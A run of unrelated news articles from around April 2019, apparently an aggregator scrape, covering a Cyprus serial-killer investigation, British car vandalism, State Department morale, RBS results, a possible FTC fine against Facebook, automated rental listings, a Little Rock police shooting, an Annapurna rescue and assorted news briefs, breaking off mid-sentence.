Friday combed lakes for the remains of more victims dumped by a suspected serial killer, as they hunted for bodies in a case that has shocked the island. The search focused on two lakes southwest of Nicosia where the suspect, named in local media as Nicos Metaxas, a 35-year-old Greek Cypriot army officer, allegedly confessed to having dumped the bodies. The suspect has admitted to killing seven foreign women and underage girls on the Mediterranean holiday island, according to police sources. Since April 14 police have recovered three bodies, all believed to be Filipina domestic workers, in what local media has dubbed Cyprus' "first serial killings". One of them was retrieved Thursday after the suspect showed investigators the spot where he had dumped a body in a well at an army firing range outside the capital. The stepped-up search at the lakes -- water-filled craters of former mines now normally used as picnic sites in the foothills of the Troodos mountains -- coincided with the day that Greek Cypriots mark the Orthodox Good Friday. Police cordoned off the area and a sole diver entered Memi Lake in Xyliantos, descending into the emerald-green water. "We are searching step-by-step," fire department spokesman Andreas Kettis told AFP. - Rising waters - The mines-turned-lakes are swollen after record rainfall in Cyprus this winter, posing an extra challenge for investigators. At a second crime site at Red Lake in Mitsero, a 10-minute drive away, Kettis said robotic equipment might also be sent in to search its acidic waters. The case came to light after a German tourist taking photographs of the mine spotted the first body, brought to the surface of the 150-metre (500-foot) shaft which flooded after unusually heavy rains. The suspect reportedly met the Filipinas, through Badoo, an online dating site. Police are still searching for the body of a six-year-old Filipina girl, daughter of one of the murdered women, according to local media. Story continues They are also probing the cases of a missing Romanian mother and her young daughter as well as unidentified Asian woman also on the list of Metaxas's suspected victims. - 'Where are they?' - Growing outrage over the murders pushed some 400 people to gather outside the iron gates of the presidential palace in Nicosia Friday evening for a candle-lit vigil - both for the dead and those still missing. Holding placards calling for "justice", the crowd held an extended moment of silence, closing down the main road in front of the gates as Cypriots and members of island's sizeable Filipino community continued to pour in. Organisers used a loudspeaker to read a list of names of dozens of women believed to have gone missing in Cyprus since the 1990s. "Where are they?" the crowd chorused after each name. Holding an unlit candle, head of the Federation of Filipino Organizations in Cyprus Ester Beatty said the community "was still coming to terms" with the "brutal" murders. "Right now everyone is very scared," she said, urging "vigilance" amongst the community. President Nicos Anastasiades in a statement condemned "these hideous crimes" against foreign women. "Shocked by the revelation of so many shameful murders against innocent foreign women and young children," the president said, expressing "deepest sorrow and strong concern". At the vigil, Lissa Jataas, who heads a solidarity group for domestic workers in Cyprus, said the saga has been "devastating" for the entire Filipino community. Activist Maria Mappouridou, who put out the call for the protest yesterday on Facebook, said the deaths should serve as a wake-up call for usually quiet island. "This is big. The women have been missing for years and no one has been asking where they've been," the 43-year-old said. "Someone has to take responsibility for this." Police are searching for a middle-aged woman who was filmed scratching more than 10 cars in broad daylight. CCTV footage shows a middle aged woman, dressed in a pink top and wearing a backpack, walking down College Road, Sutton Coldfield, West Midlands. She casually walks past a red Mini Cooper and scratches the car. The suspect can then be seen stopping to put her earphones in and play with her mobile phone before targeting another black 4x4 parked nearby. CCTV captured the woman strolling scratching a red Mini Cooper on College Road, Sutton Coldfield (SWNS) David Williams, 25, had his prized BMW 2 Series scratched between 2.40pm and 3.30pm on Bank Holiday Monday. The builder said: Id parked my car outside my brothers house while we had a barbecue. My brother has CCTV which caught this woman scratching cars including mine and my brothers. It'll cost me about 200. Read More on Yahoo News UK Lottery bosses probe criminals' 4million jackpot win over fears stolen debit card was used to buy ticket 'I thought it was a piece of sushi': Man's bizarre eight-legged find 'Lion of London Bridge' set to be released from jail after serving time for breaching court order Sarah McCormack, 45, also caught the same woman on her own personal security cameras repeatedly scratching her black BMW X5 in February. She said: My husband who is a lorry driver was on a weeks holiday from work and he was refitting the kitchen. He went outside and noticed a scratch from one end of our car to the other. Police are now searching the middle aged woman who they believe as scratched as many as 10 cars (SWNS) When we looked at our CCTV you can see her scratching the car and then walking back up the road and doing it again. When I came back from work I walked up our road and she had done it to five more cars. I am shocked at such behaviour from a grown woman. (SWNS) I am disgusted we have to work hard for what we have and you dont expect someone to do this. I believe she should be prosecuted for what she has done to numerous cars and at the end of the day it is criminal damage. Another victim, Gemma Nelson, had her Range Rover Evoque T-cut by a vandal. West Midlands Police confirm they are investigating the damage. ---Watch the latest videos from Yahoo UK--- By Arshad Mohammed and Jonathan Landay WASHINGTON, April 25 (Reuters) - U.S. Secretary of State Mike Pompeo hopes to boost morale at the State Department with an "ethos" statement that some former officials viewed with skepticism, partly because an early draft had language they saw as an admonition not to leak to the media. Two former officials knowledgeable about the effort said the language rankled them because it implied diplomats could not be trusted and they questioned the need for an "ethos" statement laying out the agency's characteristic attitudes and beliefs. The two former officials, who spoke on condition of anonymity, said the initiative was driven by Ulrich Brechbuhl, the State Department counselor who is a close aide to Pompeo and was his classmate at the U.S. Military Academy at West Point. A third former official knowledgeable about the effort said the language alluding to leaks ultimately had been dropped and that the statement itself sought to burnish the esprit de corps at the department. "There was something that could be taken as a no-leak pledge that was in an early draft. It did not (survive)," said that former official, who spoke on condition of anonymity. Pompeo is scheduled to deliver remarks on "One Team, One Mission: Introducing our Ethos" at 10 a.m. (1400 GMT) on Friday, the anniversary of his becoming secretary of state. A senior State Department official involved in the effort said he did not recall specific discussion about leaks but that there was a wider discussion of accountability and professional responsibility. The official, who spoke on behalf of the department on condition of anonymity, said he could not categorically rule out that there had been any talk about leaks but stressed that it was by no means the main focus. "To do so (categorically rule it out) means you want me to say that nobody ever had this on their mind or it was not one of the sort of elements that we would define as professional responsibility or accountability," he said. "It might have been in people's minds. ... It was never a principal or major one." Story continues More than a dozen current and former officials questioned the need for the statement of ethos, noting that U.S. diplomats take an oath to "defend the Constitution of the United States against all enemies, foreign and domestic." The agency also has a mission statement that says: "The U.S. Department of State advances the interests of the American people, their safety and economic prosperity, by leading America's foreign policy through diplomacy, advocacy, and assistance." FOCUS ON MORALE Pompeo has worked to improve morale by increasing promotions, lifting a hiring freeze and making it easier for diplomats' family members to work at missions abroad - reversing policies pursued by his predecessor, Rex Tillerson. Pompeo has also said that he wanted to focus on the State Department "getting back our swagger," a phrase that rang false to some U.S. diplomats who are taught to be understated rather than overbearing, given U.S. economic and military might. Several current and former officials said the latest effort may backfire at an agency where many are disheartened by chaotic national security decision-making, unfilled senior positions and perceived White House distrust of U.S. diplomats. Told of the statement and the effort to enhance the agency's esprit, Richard Boucher, a former State Department spokesman or deputy spokesman under four Republican and two Democratic secretaries of state, said: "You mean 'swagger' didn't do it?" "Nothing speaks like leading with diplomacy and if we are going to start doing that then we don't really need ... (a new) statement," said Boucher, who teaches at Brown University. "The impetus for the initiative was a perceived lack of loyalty and discipline," said another former official who spoke on condition of anonymity, saying its reception would depend on whether it celebrates "the craft of diplomacy" or "it is more of an admonishment to toe the administration line." (Reporting by Arshad Mohammed and Jonathan Landay; Editing by Mary Milliken and Peter Cooney) RBS has warned of many challenges it faces over the next year. Photo Illustration: Igor Golovniov/SOPA Images/LightRocket via Getty The Royal Bank of Scotland (RBS.L) unveiled better than expected first quarter results amid losing its CEO Ross McEwan and battling against Brexit uncertainty. Net profit reached 707m ($912m), over the consensus forecast of 546m. However, this is below 808m, which it recorded in the same period last year. RBS also reported an operating profit before tax of 1.013bn, compared with 1.213bn in the first quarter of last year. Income was lower at 265m, but operating expenses also fell by 73m. The bank warned of many challenges it faces over the next year. We recognise that the ongoing impact of Brexit uncertainty on the economy, and associated delay in business borrowing decisions, is likely to make income growth more challenging in the near term, RBS said. At the banks annual general meeting in Edinburgh on Thursday, RBS bosses warned of Brexit hitting the economy, which in turn would hurt its bottomline. The UK economy has proved remarkably resilient but lack of clarity about our future relations with the EU is undoubtedly having an impact, with consumer confidence muted and many businesses pausing on investment, RBS chairman Sir Howard Davies said to shareholders. That will affect our income. In October 2018, RBS warned of Brexits impact and took a 240m impairment charge, including 100m to reflect the more uncertain economic outlook in Britain ahead of the nation leaving the European Union. Meanwhile, the bank also announced on Thursday that Ross McEwan was resigning as CEO and executive director at the bank. He will work his 12-month notice period until a replacement is found. For the past five and a half years Ross has worked tirelessly to make the bank stronger and safer, and played the central role in delivering a return to profitability and dividend payments to shareholders, Davies said in a statement McEwan helped to re-focus RBS on domestic banking activities and away from investment banking. The strategy helped to turn around RBS and the bank posted its first annual profit in a decade last year, before doubling them this year. Police in Machakos are investigating an incident in which a newborn baby disappeared at the Machakos Level 5 hospital. According to relatives of the woman who delivered the baby, they were unable to locate the newborn following its birth on Wednesday at around 12.00 am. One of the womans brothers said nurses informed the mother that her baby, delivered through Cesarean Section, died at birth. My sister demanded to be shown her babys corpse which the hospitals management failed to provide, said the brother. The hospitals management instead started dodging the family. This morning we were told that the management would give us a report on the matter at 2.00 pm which they didnt. Machakos County Director of Medical Services Dr. Joel Mwova confirmed the incident saying the matter is under investigation. I was given phone number of one of the relatives, I called him to find out what exactly happened but he was in a meeting with heads of other departments. I want to get report from the nurses in charge so that I give you a comprehensive report, said Mwova as quoted in a report by Citizen Digital. Consumer Reports has no financial relationship with advertisers on this site. Consumer Reports has no financial relationship with advertisers on this site. A potential $5 billion fine against Facebook for failing to keep consumer data private would probably not improve the way the social media giant collects and handles user information, some privacy experts and consumer advocates say. "A billion isn't what it used to be," says former Federal Trade Commission chair William E. Kovacic, now a law professor at George Washington University. "The problem with Facebook writing a check is that its the cost of doing business and not a deterrent." In 2011, Facebook and the FTC reached an agreement in which the social media company promised to clean up its act, after a history of "unfair and deceptive" data collection practices. This week, Facebook warned investors that it could be fined up to $5 billion for breaking that agreement. The company, which posted revenues of $55.8 billion in 2018, would also be subject to ongoing oversight by the FTC, but the full extent of that control remains unclear. Consumer advocates are skeptical that the FTC, which would levy the multibillion-dollar fine, could compel Facebook to make meaningful changes in the way it handles consumer data. "Ideally, Facebook would be prevented from tracking what users do off Facebookthat's the biggest privacy problem with the platform. But I doubt the FTC thinks they have the legal capacity to enjoin Facebook from doing that," says Justin Brookman, director of privacy and technology policy for Consumer Reports. "More realistically, the [FTC] order will just order more controls around sharing the personal data of users with third-party apps, which is what led to the Cambridge Analytica scandal." But as Brookman points out, Facebook already seems to be moving away from that kind of data sharing. "It's not really going to be that big a deal for them," he says. Story continues Before joining CR, Brookman served as policy director of the FTCs Office of Technology Research and Investigation. "The FTC is not equipped to deal with Facebook," he says. "The FTC can stop some bad practices at the margins, but fundamentally they don't have the power to rein in Facebook's worst abuses." Facebook did not respond to a request for comment on the potential fine. The FTC has been investigating possible violations of the 2011 agreement for more than a year, ever since the Cambridge Analytica scandal broke in March 2018, when consumers learned that the personal data of 87 million Facebook users had been misused by a political consulting company. Multiple privacy missteps by Facebook have been revealed since then. These include an October 2018 data breach, a Facebook bug that let developers improperly download user photos, news that Facebook let children amass credit card bills on the site, and recent federal charges against the company for alleged violations of the Fair Housing Act. Christine Bannan, consumer protection counsel of the Electronic Privacy Information Center (EPIC), says that "a fine is not enough to enforce the consent order, because it will not reform Facebook's business practices." Kovacic, who oversaw the FTC when the 2011 consent decree was crafted, says the agency should demand a satisfactory plan of action for preventing future issues. "As part of these negotiations, I would want [from Facebook] a convincing explanation of how you're going to solve this problem of safeguarding user data." Speculation over the size of a potential fine has swirled around Washington, D.C., for weeks, with guesses ranging from the billions of dollars down to zero. Facebook floated the $5 billion figure in financial reporting documents released this week. A fine that size would be the biggest ever levied by the FTC in a digital privacy case, hurtling past a $22.5 million fine imposed on Google in 2012. The Agreement Facebook Made in 2011 The FTC investigation is seeking to determine whether Facebook violated its 2011 consent decree over "unfair and deceptive" claims in which it promised consumers that they could keep their information private. Under the terms of the consent decree, Facebook was: barred from making misrepresentations about the privacy or security of consumers' personal information; required to obtain consumers' affirmative express consent before enacting changes that override their privacy preferences; required to prevent anyone from accessing a user's material more than 30 days after the user has deleted his or her account; required to establish and maintain a comprehensive privacy program designed to address privacy risks associated with the development and management of new and existing products and services, and to protect the privacy and confidentiality of consumers' information; and required, within 180 days, and every two years after that for the next 20 years, to obtain independent, third-party audits certifying that it has a privacy program in place that meets or exceeds the requirements of the FTC order, and to ensure that the privacy of consumers' information is protected. "The previous order failed," says former FTC head Kovacic. "The monitoring mechanism turned out to not be effective." Editor's Note: This article was updated to add information that Facebook has not responded to a request for comment. More from Consumer Reports: Top pick tires for 2016 Best used cars for $25,000 and less 7 best mattresses for couples Consumer Reports is an independent, nonprofit organization that works side by side with consumers to create a fairer, safer, and healthier world. CR does not endorse products or services, and does not accept advertising. Copyright 2019, Consumer Reports, Inc. 17 W. Hollister St. | Photos: Zumper Curious just how far your dollar goes in Cincinnati? We've rounded up the latest rental offerings via rental site Zumper to get a sense of what to expect when it comes to locating housing in Cincinnati if you've got $700/month earmarked for your rent. Read on for the listings. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 3212 Bach Ave. (Oakley) Here's this one-bedroom, one-bathroom situated at 3212 Bach Ave. It's listed for $695/month for its 475 square feet of space. The building features on-site laundry. In the unit, look for air conditioning. Cats are welcome. Future tenants needn't worry about a leasing fee, but there is a $40 application fee. According to Walk Score, the area around this address is friendly for those on foot, is relatively bikeable and has some transit options. (See the complete listing here.) 2409 W. Clifton Ave. (CUF) Here's a 630-square-foot one-bedroom, one-bathroom at 2409 W. Clifton Ave. that's also going for $695/month. In the unit, look for central heating and carpeted flooring. Feline companions are welcome. There isn't a leasing fee associated with this rental. Per Walk Score ratings, the area around this address is a "walker's paradise," isn't particularly bikeable and offers many nearby public transportation options. (See the full listing here.) 621 Clemmer Ave. (CUF) Next, check out this one-bedroom, one-bathroom that's located at 621 Clemmer Ave. It's listed for $675/month. In the unit, you'll find air conditioning, hardwood flooring and high ceilings. When it comes to building amenities, expect on-site laundry and assigned parking. Cats are welcome. There isn't a leasing fee associated with this rental. Walk Score indicates that the area around this address is somewhat walkable, has minimal bike infrastructure and has good transit options. Story continues (See the complete listing here.) 17 W. Hollister St. (CUF) Located at 17 W. Hollister St., here's a 650-square-foot one-bedroom, one-bathroom apartment that's listed for $650/month. The building boasts on-site laundry. Pet owners, take heed: cats and dogs are allowed. There's no leasing fee required for this rental. According to Walk Score's assessment, this location is a "walker's paradise," isn't particularly bikeable and offers many nearby public transportation options. (See the complete listing here.) 5653 Beechmont Ave. Finally, there's this one-bedroom, one-bathroom situated at 5653 Beechmont Ave. It's listed for $650/month for its 575 square feet of space. The building has assigned parking and extra storage space. In the unit, look for carpeted floors and a walk-in closet. Dogs are welcome. The rental doesn't require a leasing fee. Walk Score indicates that the surrounding area isn't very walkable, is somewhat bikeable and has a few nearby public transportation options. (See the complete listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. 277 N. Broadway, #204. | Photos: Zumper Curious just how far your dollar goes in Denver? We've rounded up the latest rental offerings via rental site Zumper to get a sense of what to expect when it comes to scoring housing in Denver if you're on a budget of $1,900/month. Read on for the listings. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 277 N. Broadway, #204 (Baker) Listed at $1,895/month, this one-bedroom, two-bathroom apartment is located at 277 N. Broadway, #204. Building amenities include garage parking and on-site management. In the unit, expect air conditioning, a balcony, a walk-in closet and in-unit laundry. Dogs are welcome. Future tenants needn't worry about a leasing fee. Walk Score indicates that this location is extremely walkable, is great for biking and offers many nearby public transportation options. (Check out the complete listing here.) 2840 Blake St. (Five Points) Next, there's this studio located at 2840 Blake St. It's listed for $1,858/month for its 569 square feet of space. The building offers a swimming pool, a fitness center, a roof deck, garage parking and secured entry. In the unit, there is in-unit laundry, a balcony and carpeted floors. Good news for animal lovers: both dogs and cats are welcome here. There isn't a leasing fee associated with this rental. Per Walk Score ratings, the surrounding area is quite walkable and is great for biking. (See the complete listing here.) 1101 E. Bayaud Ave. (Speer) Here's a 623-square-foot studio at 1101 E. Bayaud Ave. that's going for $1,826/month. The building features a business center, a swimming pool, a fitness center, a residents lounge and garage parking. Luckily for pet owners, both dogs and cats are welcome. There's no leasing fee required for this rental. Walk Score indicates that the surrounding area is moderately walkable, is great for biking and has good transit options. Story continues (See the full listing here.) 3860 Tennyson St. (Berkeley) Lastly, check out this 640-square-foot studio that's located at 3860 Tennyson St. It's listed for $1,821/month. In the unit, you'll find hardwood floors, a dishwasher, in-unit laundry and a balcony. Building amenities include a fitness center, a roof deck, an elevator and garage parking. Luckily for pet owners, both dogs and cats are welcome. There isn't a leasing fee associated with this rental. According to Walk Score's assessment, this location is quite walkable, is convenient for biking and has a few nearby public transportation options. (See the complete listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. 320 Lakeview St., #215. | Photos: Zumper Curious just how far your dollar goes in Orlando? We've rounded up the latest rental listings via rental site Zumper to get a sense of what to expect when it comes to locating a place in Orlando with a budget of $1,100/month. Take a look at the listings, below. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 5550 E. Michigan St., #3126 (South Semoran) Listed at $1,100/month, this 846-square-foot one-bedroom, one-bathroom spot is located at 5550 E. Michigan St., #3126. In the unit, expect hardwood floors and granite countertops. Amenities offered in the building include a swimming pool, a fitness center and storage space. Neither cats nor dogs are permitted. The rental doesn't require a leasing fee. Walk Score indicates that the area around this address requires a car for most errands, is bikeable and has some transit options. (Take a look at the complete listing here.) 5506 Metrowest Blvd. (Kirkman North) Next, there's this one-bedroom, one-bathroom condo located at 5506 Metrowest Blvd. It's also listed for $1,100/month. When it comes to building amenities, expect outdoor space, a swimming pool and a fitness center. In the condo, there are hardwood floors, in-unit laundry and a balcony. Pets are not welcome. Per Walk Score ratings, the area around this address is moderately walkable, is quite bikeable and has some transit options. (Take a gander at the complete listing here.) 758 E. Michigan St., #201 Here's a 633-square-foot one-bedroom, one-bathroom unit at 758 E. Michigan St., #201, that's going for $1,100/month. In the unit, you'll get in-unit laundry and a balcony. The building offers a swimming pool and a fitness center. If you've got a pet, you'll be happy to learn that cats and dogs are permitted. Future tenants needn't worry about a leasing fee. Story continues According to Walk Score's assessment, the area around this address is moderately walkable, is relatively bikeable and has some transit options. (Check out the complete listing here.) 320 Lakeview St., #215 (College Park) Finally, check out this 644-square-foot one-bedroom, one-bathroom residence that's located at 320 Lakeview St., #215. It's listed for $1,095/month. In the unit, you'll find hardwood floors. The building offers on-site laundry, a swimming pool and on-site management. Animals are not allowed. The rental doesn't require a leasing fee. According to Walk Score's assessment, the surrounding area is car-dependent, is quite bikeable and has some transit options. (Take a look at the complete listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. 15350 Amberly Dr. | Photos: Zumper Curious just how far your dollar goes in Tampa? We've rounded up the latest rental listings via rental site Zumper to get a sense of what to expect when it comes to hunting down housing in Tampa if you've got a budget of $1,100/month. Take a look at the listings, below. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 4207 S. Dale Mabry Highway, #6306 (Fairoaks) Listed at $1,100/month, this 867-square-foot one-bedroom, one-bathroom condo is located at 4207 S. Dale Mabry Highway, #6306. The unit offers carpeted floors, in-unit laundry and a balcony. When it comes to building amenities, anticipate a swimming pool, storage space and secured entry. Animals are not permitted. There isn't a leasing fee associated with this rental. According to Walk Score's assessment, the area around this address is friendly for those on foot, is quite bikeable and has some transit options. (See the complete listing here.) 6000 Compton Estates Way (Tampa Palms) Next, here's a 1,080-square-foot one-bedroom, one-bathroom at 6000 Compton Estates Way that's also going for $1,100/month. In the unit, you'll get a high ceilings, in-unit laundry and a walk-in closet. Building amenities include a fitness center, a swimming pool and outdoor space. If you've got a pet, you'll be happy to learn that cats and dogs are welcome. According to Walk Score, the surrounding area requires a car for most errands, has some bike infrastructure and has some transit options. (Check out the complete listing here.) 15350 Amberly Drive (Tampa Palms) Located at 15350 Amberly Drive, here's a 941-square-foot one-bedroom, one-bathroom that's listed for $1,090/month. In the unit, you can anticipate hardwood floors, a dishwasher and a walk-in closet. When it comes to building amenities, anticipate on-site laundry, garage parking and a swimming pool. Pets are not allowed. Story continues According to Walk Score's assessment, this location is car-dependent, is convenient for biking and has a few nearby public transportation options. (Check out the complete listing here.) 4205 S. Manhattan Ave. (Bayside West) Listed at $1,075/month, this 650-square-foot one-bedroom, one-bathroom is located at 4205 S. Manhattan Ave. In the unit, you can expect a dishwasher, in-unit laundry and a balcony. The building has an outdoor space. If you've got a pet, you'll be happy to learn that cats and dogs are welcome. Future tenants needn't worry about a leasing fee. According to Walk Score, the surrounding area is somewhat walkable, is quite bikeable and doesn't offer many public transit options. (Check out the complete listing here.) 3909 W. Cleveland St., #205 (Swann Estates) Finally, there's this one-bedroom, one-bathroom apartment located at 3909 W. Cleveland St., #205. It's listed for $1,050/month for its 702 square feet of space. Good news for animal lovers: both dogs and cats are allowed here. Future tenants needn't worry about a leasing fee. Walk Score indicates that this location is quite walkable, has some bike infrastructure and has some transit options. (See the complete listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. LITTLE ROCK, Ark. (AP) Methamphetamines, PCP, marijuana and cocaine were found in the body of a man fatally shot by a police officer, according to an investigative file released by the Arkansas police department. The 546-page report pertains to the Feb. 22 shooting of Bradley Blackshire. Little Rock Officer Charles Starks was investigating a stolen vehicle that Blackshire was driving when he fatally shot the 30-year-old, firing at least 15 times into the windshield while the car was in motion. Blackshire was black and Starks is white. The heavily redacted file indicates that Blackshire was behaving in a paranoid manner in the days prior to the incident, the Little Rock Democrat-Gazette reported. Blackshire's former girlfriend, Desaray Clarke, 21, was a passenger in the Nissan Altima when the shooting happened. In an interview with investigators, Clarke recalled that Blackshire had been recently asserting that "the Feds" were after him around because of the drug trafficking charges he was facing. Starks said that he "blacked out" and could not recall specifics of the shooting, according to an interview in the file. In other instances, the file shows that Starks detailed his actions, concern and the scene as it played out around him. Investigators recovered a stolen .45-caliber handgun in the Altima, the case file said. Police also discovered numerous scales, a black mask, gloves, binoculars, a variety of pills, Blackshire's state-issued identification and almost 18 grams (slightly over half an ounce) of a "white substance," according to an evidence log. Prosecutors declined to file charges against Starks, citing that the moving vehicle was considered a lethal weapon and justified Starks' fear when he reacted by fatally shooting Blackshire. An autopsy report wasn't included in the file. Tom Carpenter, city attorney for Little Rock, said that the autopsy record won't be released based on the Arkansas law. ___ Information from: Arkansas Democrat-Gazette, http://www.arkansasonline.com Kathmandu (AFP) - A Malaysian climber rescued after two nights in the open on one of the world's most treacherous mountains is fighting for his life in critical condition, his doctor said Friday. Chin Wui Kin, 48, was airlifted to a hospital in Kathmandu for treatment in the morning after rescuers brought him down to a lower camp in a risky operation close to the summit of Mount Annapurna. "His heart rate and temperature were both very low when we received him. He is suffering from severe hypothermia and has frostbite on his hands and feet," Sanij Singh, emergency physician at Mediciti Hospital, told AFP "His condition is critical... we are doing what we can." Chin, 48, reached the top of the 8,100-metre (26,500-foot) Himalayan mountain on Tuesday but failed to return to the nearest camp, one kilometre below the peak, with the rest of his group. Frantic efforts began to find him after his guide stumbled to the camp and raised the alert. A rescue helicopter spotted him waving from the snowy slopes at an elevation of around 7,500 metres (24,500 feet) early Thursday, Seven Summit Treks, his expedition organisers, said. Four experienced Sherpas were then dropped at another camp at 6,500 metres (21,300 feet) and after four hours of searching and climbing found Chin in a semi-conscious state. "It is amazing. We were very happy to find him alive... it was a tough and risky operation," said rescuer Nirmal Purja. Purja said that the only words Chin spoke were "Can I have hot water?" Climbing experts said it was a "miracle" that Chin survived the freezing conditions on Mount Annapurna for so long. Hundreds of people from around the world travel to the Himalayas each year for the spring climbing season, when conditions are best. Chin had returned to Nepal after summiting Everest last year. Annapurna is avalanche-prone, technically difficult and has a higher death rate than Everest, the world's highest peak. Nine South Korean climbers were killed last October after a snowstorm swept them off a cliff on Mount Gurja, west of Annapurna. To say that Blinky Bill is winning in life would be an understatement. Mans international now! When Blinky composed Mungu Halali and released it last year, he probably knew that God was still wide awake pulling strings to make sure the Kenyan music creative keeps soaring to greater heights this year. Just last month, Blinky Bill Sellanga was tapped by giant airline Emirates to be part of its pan-African brand advertising campaign. The campaign features an original song inspired by contemporary African electronic club music, produced by Blinky Bill. Emirates seeks to celebrate the achievements of young Africans, spreading the message of New Africa to the world. The campaign stars the Just A Band frontman alongside 21-year-old South Sudanese model Shanelle Nyasiase and chief executive and publisher of OkayAfrica, Abiola Oke. And Blinky has been quite busy as he travels the world on a tour that has since seen him perform in Switzerland, France, and Nigeria. He is currently in South Africa where he got the rare chance to not only meet but perform for English sportsman David Beckham in Joburg. Posting to Twitter, Blinky Bill on Wednesday night flexed, I think I just saw David Beckham at this party. According to Blinky, the Manchester United legend stayed for his entire set on the night and enjoyed it. It also happened to be on the night both Manchester United and Arsenal lost their respective Premier league matches to Man City and Wolves. Beckham used the opportunity to troll Blinky who is an Arsenal fan. He [David Beckham] stayed for my entire set and enjoyed it, [he] said I wasnt too bad for an Arsenal fan. Such a great night, tweeted Blinky Bill. The producer and DJ nearly had his photo-op with the Beckham ruined after someone took a blurry photo. Blinky joked about it saying its why he has trust issues. He. however, got a better picture taken; the cherry on top of what has been a successful tour in South Africa. Following is a summary of current science news briefs. Scientists turn brain signals into speech, may help people who cannot talk People robbed of the ability to talk due to a stroke or another medical condition may soon have real hope of regaining a voice thanks to technology that harnesses brain activity to produce synthesized speech, researchers said on Wednesday. Scientists at the University of California, San Francisco, implanted electrodes into the brains of volunteers and decoded signals in cerebral speech centers to guide a computer-simulated version of their vocal tract - lips, jaw, tongue and larynx - to generate speech through a synthesizer. SpaceX escape engines were test fired before mishap: panel A NASA safety panel said on Thursday that Saturday's accident on a SpaceX astronaut capsule happened after eight engines were test fired, but offered scant details on what caused the mishap or the extent of the damage. NASA's Aerospace Safety Advisory Panel (ASAP) told reporters Elon Musk's rocket company continues to investigate the cause of the 'anomaly' during a test of engines designed to propel the crew to safety at Cape Canaveral Air Force Station in Florida. China's rocket start-ups go small in age of 'shoebox' satellites During initial tests of their 8.1-meter (27-foot) tall reusable rocket, Chinese engineers from LinkSpace, a start-up led by China's youngest space entrepreneur, used a Kevlar tether to ensure its safe return. Just in case. But when the Beijing-based company's prototype, called NewLine Baby, successfully took off and landed last week for the second time in two months, no tether was needed. German scientists create see-through human organs Researchers in Germany have created transparent human organs using a new technology that could pave the way to print three-dimensional body parts such as kidneys for transplants. Scientists led by Ali Erturk at Ludwig Maximilians University in Munich have developed a technique that uses a solvent to make organs such as the brain and kidneys transparent. Following is a summary of current world news briefs. Sri Lankan police hunt 140 people after Easter bombings Sri Lankan police are trying to track down 140 people believed linked to Islamic State, which claimed responsibility for the Easter Sunday suicide bombings of churches and hotels that killed 253 people, President Maithripala Sirisena said on Friday. Muslims in Sri Lanka were urged to pray at home and not after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence. Germany owes Poland over $850 billion in WW2 reparations: senior lawmaker Germany could owe Poland more than $850 billion in reparations for damages it incurred during World War Two and the brutal Nazi occupation, a senior ruling party lawmaker said. Some six million Poles, including three million Polish Jews, were killed during the war and Warsaw was razed to the ground following a 1944 uprising in which about 200,000 civilians died. Britain's Hammond optimistic of finding Brexit compromise with Corbyn's Labour British finance minister Philip Hammond said on Friday that he was hopeful of clinching a Brexit compromise with the opposition Labour Party to allow the ratification of Prime Minister Theresa May's thrice-defeated divorce deal. The United Kingdom was due to have left the EU on March 29, though May has been unable to get her divorce deal approved by parliament. It is now unclear when, how and even if Brexit will happen but the current deadline for leaving is Oct. 31. Austria broadcaster defends journalist who compared far-right poster to Nazis Austria's public broadcaster ORF defended its top news anchor on Friday after a far right politician threatened the journalist with "consequences" for comparing an anti-immigrant poster to Nazi propaganda. The far-right Freedom Party (FPO) is the junior partner in a coalition government with the conservatives. It says it wants to restructure the ORF which it accuses of left-wing bias. Story continues Support for Malaysian PM drops as concerns grow over economy, race: survey Fewer than half of Malaysians approve of Prime Minister Mahathir Mohamad, an opinion poll showed on Friday, as concerns over rising costs and racial matters plague his administration nearly a year after taking office. The survey, conducted in March by independent pollster Merdeka Center, showed that only 46 percent of voters surveyed were satisfied with Mahathir, a sharp drop from the 71 percent approval rating he received in August 2018. Cypriot police search for more victims of suspected serial killer Cypriot police searched on Friday for more victims of a suspected serial killer, in a case which has shocked the Mediterranean island and exposed the authorities to charges of "criminal indifference" because the dead women were foreigners. The main opposition party, the left-wing AKEL, called for the resignation of Cyprus's justice minister and police chief. North Korea turns to diplomats after Kim sidelines point man in nuclear talks The demotion of Kim Yong Chol, North Korean leader Kim Jong Un's point man for nuclear talks with the United States, signals that long-time diplomats who had been sidelined from the process will return to center-stage, diplomatic sources in Seoul and regional experts said. The hawkish former general and spymaster was recently removed from a key party post, taking the fall for the failed Hanoi summit between Kim and U.S. President Donald Trump. Northern Ireland police suspect teenage gunman killed journalist Lyra McKee Detectives investigating the murder of journalist Lyra McKee in Northern Ireland last week suspect the gunman who shot her dead is in his late teens as they made a further appeal to the local community who they believe know his identity. McKee's killing by an Irish nationalist militant during a riot in Londonderry has sparked outrage in the province where a 1998 peace deal mostly ended three decades of sectarian violence that cost the lives of some 3,600 people. North Korean leader warns of a return to tension, blames U.S. 'bad faith' North Korean leader Kim Jong Un told Russian President Vladimir Putin peace and security on the Korean peninsula depended on the United States, warning that a state of hostility could easily return, North Korean media said on Friday. Kim's remarks, at talks with Putin in Vladivostok on Thursday, will likely add to pressure on the United States to be more flexible on a North Korean demand for an easing of international sanctions. American arrested in Myanmar had permission for 'hemp plantation': lawyer A U.S. citizen facing narcotics charges in Myanmar had received official permission to establish a hemp plantation in the former royal capital, Mandalay, a lawyer for the American said on Friday. After images of a field of cannabis plants at the plantation spread on Myanmar social media, police raided the 20-acre site on Wednesday and detained John Fredric Todoroki, 63, and two Myanmar nationals under an anti-narcotics law, according to a statement from anti-drug police. The men's clothing market is on fire. One of the 